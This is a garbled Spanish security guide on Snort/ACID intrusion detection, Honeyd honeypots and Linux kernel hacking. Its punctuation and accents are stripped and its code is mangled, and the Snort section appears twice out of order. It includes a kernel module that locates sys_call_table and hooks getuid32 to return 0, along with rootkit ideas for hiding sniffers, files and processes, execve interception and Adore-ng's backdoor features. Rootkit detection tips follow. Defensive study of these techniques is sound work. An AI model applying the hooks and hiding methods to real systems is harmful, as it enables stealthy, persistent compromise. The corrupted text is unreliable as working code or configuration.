Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
